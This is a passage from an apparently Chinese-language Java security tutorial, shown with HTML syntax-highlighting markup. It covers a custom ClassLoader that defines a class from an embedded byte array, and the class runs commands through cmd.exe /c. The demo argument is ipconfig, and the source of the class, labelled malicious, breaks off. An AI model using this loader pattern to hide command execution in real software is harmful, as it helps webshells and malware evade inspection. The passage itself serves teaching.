class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">27</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">98</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">100</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">100</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">98</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">108</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">97</span>, <span class="number">99</span>, <span class="number">107</span>, <span class="number">77</span>, <span class="number">97</span>, <span class="number">112</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">76</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">55</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">78</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">62</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">67</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">69</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">69</span>, <span class="number">120</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">112</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">110</span>, <span class="number">115</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">83</span>, <span class="number">111</span>, <span class="number">117</span>, <span class="number">114</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">70</span>, <span class="number">105</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">11</span>, <span class="number">83</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">46</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">79</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">105</span>, <span class="number">108</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">99</span>, <span class="number">109</span>, <span class="number">100</span>, <span class="number">46</span>, <span class="number">101</span>, <span class="number">120</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">80</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">81</span>, <span class="number">0</span>, <span class="number">82</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">83</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">84</span>, <span class="number">0</span>, <span class="number">85</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">103</span>, <span class="number">98</span>, <span class="number">107</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">86</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">87</span>, <span class="number">0</span>, <span class="number">88</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">89</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">22</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">100</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">90</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">22</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">91</span>, <span class="number">0</span>, <span class="number">92</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">93</span>, <span class="number">0</span>, <span class="number">94</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">69</span>, <span class="number">120</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">112</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">110</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">95</span>, <span class="number">0</span>, <span class="number">92</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">26</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">115</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">79</span>, <span class="number">98</span>, <span class="number">106</span>, <span class="number">101</span>, <span class="number">99</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">22</span>, <span class="number">40</span>, <span class="number">91</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">103</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">47</span>, <span class="number">67</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">102</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">78</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">46</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">47</span>, <span class="number">67</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">50</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">47</span>, <span class="number">67</span>, <span class="number">104</span>, <span class="number">97</span>, <span class="number">114</span>, <span class="number">115</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">82</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">76</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">97</span>, <span class="number">112</span>, <span class="number">112</span>, <span class="number">101</span>, <span class="number">110</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">44</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">66</span>, <span class="number">117</span>, <span class="number">102</span>, <span class="number">102</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">116</span>, <span class="number">111</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">26</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">27</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">27</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">112</span>, <span class="number">42</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">1</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">89</span>, <span class="number">6</span>, -<span class="number">67</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">89</span>, <span class="number">3</span>, <span class="number">18</span>, <span class="number">4</span>, <span class="number">83</span>, <span class="number">89</span>, <span class="number">4</span>, <span class="number">18</span>, <span class="number">5</span>, <span class="number">83</span>, <span class="number">89</span>, <span class="number">5</span>, <span class="number">43</span>, <span class="number">83</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">6</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">7</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">77</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">89</span>, <span class="number">44</span>, <span class="number">18</span>, <span class="number">10</span>, -<span class="number">72</span>, <span class="number">0</span>, <span class="number">11</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">78</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">89</span>, <span class="number">45</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">58</span>, <span class="number">4</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">89</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">58</span>, <span class="number">5</span>, <span class="number">1</span>, <span class="number">58</span>, <span class="number">6</span>, <span class="number">25</span>, <span class="number">4</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">89</span>, <span class="number">58</span>, <span class="number">6</span>, -<span class="number">58</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">25</span>, <span class="number">5</span>, <span class="number">25</span>, <span class="number">6</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">18</span>, <span class="number">19</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">87</span>, -<span class="number">89</span>, -<span class="number">1</span>, -<span class="number">24</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">89</span>, <span class="number">25</span>, <span class="number">5</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">21</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">22</span>, -<span class="number">65</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">28</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">38</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">50</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">60</span>, <span class="number">0</span>, <span class="number">11</span>, <span class="number">0</span>, <span class="number">69</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">72</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">83</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">99</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">0</span>, <span class="number">29</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">72</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">112</span>, <span class="number">0</span>, <span class="number">30</span>, <span class="number">0</span>, <span class="number">31</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">112</span>, <span class="number">0</span>, <span class="number">32</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">0</span>, <span class="number">76</span>, <span class="number">0</span>, <span class="number">34</span>, <span class="number">0</span>, <span class="number">35</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">50</span>, <span class="number">0</span>, <span class="number">62</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">0</span>, <span class="number">37</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">60</span>, <span class="number">0</span>, <span class="number">52</span>, <span class="number">0</span>, <span class="number">38</span>, <span class="number">0</span>, <span class="number">39</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">69</span>, <span class="number">0</span>, <span class="number">43</span>, <span class="number">0</span>, <span class="number">40</span>, <span class="number">0</span>, <span class="number">41</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">0</span>, <span class="number">72</span>, <span class="number">0</span>, <span class="number">40</span>, <span class="number">0</span>, <span class="number">42</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">43</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">31</span>, <span class="number">0</span>, <span class="number">2</span>, -<span class="number">1</span>, <span class="number">0</span>, <span class="number">72</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">44</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">45</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">46</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">47</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">48</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">49</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">45</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">26</span>, <span class="number">0</span>, <span class="number">50</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">51</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">52</span>,</span><br><span class="line">    };</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Class&lt;?&gt; findClass(String name) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line">        <span class="comment">// 只处理Summer类</span></span><br><span class="line">        <span class="keyword">if</span> (name.equals(testClassName)) {</span><br><span class="line">            <span class="comment">// 调用JVM的defineClass方法定义Summer类</span></span><br><span class="line">            <span class="keyword">return</span> defineClass(testClassName, testClassBytes, <span class="number">0</span>, testClassBytes.length);</span><br><span class="line">        }</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">super</span>.findClass(name);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line">        <span class="comment">// 创建自定义的类加载器</span></span><br><span class="line">        demo2 loader = <span class="keyword">new</span> demo2();</span><br><span class="line">        <span class="keyword">try</span> {</span><br><span class="line">            <span class="comment">// 使用自定义的类加载器加载TestHelloWorld类</span></span><br><span class="line">            Class testClass = loader.loadClass(testClassName);</span><br><span class="line">            <span class="comment">// 反射创建Summer类，等价于 Summer t = new Summer(‘ipconfig);</span></span><br><span class="line">            testClass.getConstructor(String.class).newInstance("ipconfig");</span><br><span class="line">        } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 恶意类 </span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Summer</span> </span>{</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">Summer</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line">        InputStream stream = (<span class="keyword">new</span> ProcessBuilder(<span class="keyword">new</span> String[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, 